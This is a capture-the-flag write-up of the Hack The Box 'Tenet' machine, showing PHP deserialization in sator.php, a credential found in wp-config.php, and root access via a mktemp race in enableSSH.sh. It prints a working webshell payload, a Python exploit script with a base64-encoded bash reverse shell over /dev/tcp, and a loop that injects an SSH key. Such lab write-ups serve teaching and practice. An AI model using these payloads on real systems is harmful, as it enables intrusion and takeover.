HTB Tenet (Medium) - Writeup
Difficulty: Medium
On the Tenet machine, I discovered a WordPress site and found a developer comment referencing sator.php and a backup file.
Accessing sator.php.bak revealed a PHP deserialization vulnerability, which I exploited to upload a webshell.
I then found database credentials in wp-config.php, used them to switch to user neil.
Finally escalated to root by abusing a race condition in a misconfigured enableSSH.sh script.
Nmap
The nmap scan revealed two open ports:
Port 80 - Website
On port 80 we have default apache page.
Now we will do directory busting with feroxbuster:
feroxbuster --url http://10.10.10.223
We’ve found wordpress directories.
Everytime I encounter a website made in wordpress I run wpscan to look for vulnerable plugins.
wpscan --url http://10.10.10.223 --plugins-detection mixed --api-token xxxxxxx
If you don’t have an api token just create an account on wpscan website and claim yours.
We used the mixed detection method, which performs plugin brute-forcing.
If we had relied solely on passive detection, many plugins would have been missed.
It has found akismet but besides that nothing of interest.
Now I’ll add tenet.htb to /etc/hosts
While exploring the site, I came across a comment:
Let’s look for this “sator” file.
On tenet.htb it didn’t work:
http://tenet.htb/sator.php
But on apache default page it worked:
http://10.10.10.223/sator.php
They also mentioned sator backup file, let’s try to retrieve it:
http://10.10.10.223/sator.php.bak
We can download it and look at the source code:
<?php
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>
First thing that immediately stands out is dangerous usage of unserialize function.
This script passes user input to unserialize() which can be abused in deserialization attack.
The script takes user input from the arepo GET parameter and passes it directly to the unserialize() function.
This allows us to create a PHP object from user input.
When the script finishes, PHP automatically destroys all objects, which triggers the __destruct() method of our crafted object.
It means that __desctruct() will run against our object.
PHP Deserialization attack
POC payload would look like this:
O:14:"DatabaseExport":2:{s:9:"user_file";s:8:"test.txt";s:4:"data";s:11:"Hello World";}
It creates an object O, from class DatabaseExport, with 2 properties, first s is for string with 9 letters, then there is a value, second s is also for string, eleven is for number of letters
For it to work we need to encode it, can be done with simple script:
<?php
$output = urlencode('O:14:"DatabaseExport":2:{s:9:"user_file";s:9:"test2.txt";s:4:"data";s:11:"Hello World";}');
print $output;
?>
As output we get:
O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A9%3A%22test2.txt%22%3Bs%3A4%3A%22data%22%3Bs%3A11%3A%22Hello+World%22%3B%7D
Now we can curl this website with our payload:
Let’s check if it got uploaded:
It did work, meaning we can now upload basic webshell.
I wrote simple python script that will upload a file for us and give us basic shell access just to practice writing in python:
import os
import urllib.parse
import subprocess
import base64
webshell= "<?php system($_GET['cmd']); ?>"
length = len(webshell)
payload = (
f'O:14:"DatabaseExport":2:{{'
f's:9:"user_file";s:5:"x.php";'
f's:4:"data";s:{length}:"{webshell}";'
f'}}'
)
print("[+] Encoding Payload")
encoded_payload = urllib.parse.quote(payload)
print("[+] Sending Payload")
os.system(f'curl -s "http://10.10.10.223/sator.php?arepo={encoded_payload}" > /dev/null')
print("[+] Type exit to escape this shell")
print("[+] Type rev to use automatic reverse shell")
while True:
cmd = input("webshell> ")
if cmd.lower() == 'exit':
break
url = f'http://10.10.10.223/x.php?cmd={cmd}'
result = subprocess.run(['curl', '-s', url], capture_output=True, text=True)
print(result.stdout)
if cmd.lower() == 'rev':
ip = input("your ip: ")
port = input("your port: ")
rev = f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1' &"
enc = base64.b64encode(rev.encode()).decode()
full = "echo " + enc + " | base64 -d | bash"
encoded_cmd = urllib.parse.quote(full)
url2 = f'http://10.10.10.223/x.php?cmd={encoded_cmd}'
subprocess.run(['curl', '-s', url2])
It will upload a file for us and give us an interactive shell.
I forgot to take screenshots of this exploit usage but if we type “rev” in this shell it will give us reverse shell.
Priv Esc 1
When enumerating wordpress websites it’s a good idea to look into wp-config.php for credentials.
We have found credentials:
- neil:Opera2112
Let’s retrieve a flag:
Priv Esc to root
One of the first things I check when looking for low hanging fruits is sudo -l:
We can run some bash script as root:
- (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
I’ll paste it here:
#!/bin/bash
checkAdded() {
sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
/bin/echo "Successfully added $sshName to authorized_keys file!"
else
/bin/echo "Error in adding $sshName to authorized_keys file!"
fi
}
checkFile() {
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded
The script uses mktemp -u which is considered not safe.
It prints a unique temporary filename, but does not create the file.
Between the time you get the filename and the time you create/use the file, there is a race condition.
This script creates a filename starting with /tmp/ssh-XXXXX
We will look for any file that starts with /tmp/ssh- and overwrite it with our public ssh key.
First we need to generate our public key:
I wrote a script that will look for the file we want and overwrite it:
#!/bin/bash
mykey="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC2ePU0G7oZvweezHYs9+Dr1c3bfQCCeHHILRRvF1KwL root@kali"
while true; do
for test in /tmp/ssh-*; do
echo "$mykey" > "$test"
echo "Wrote key to $test"
done
done
Since it’s a race condition it will probably not work in the first try.
For me it took three tries, while my script was running in a loop in the second terminal.
Now we can login with our key as root:
Thanks for reading!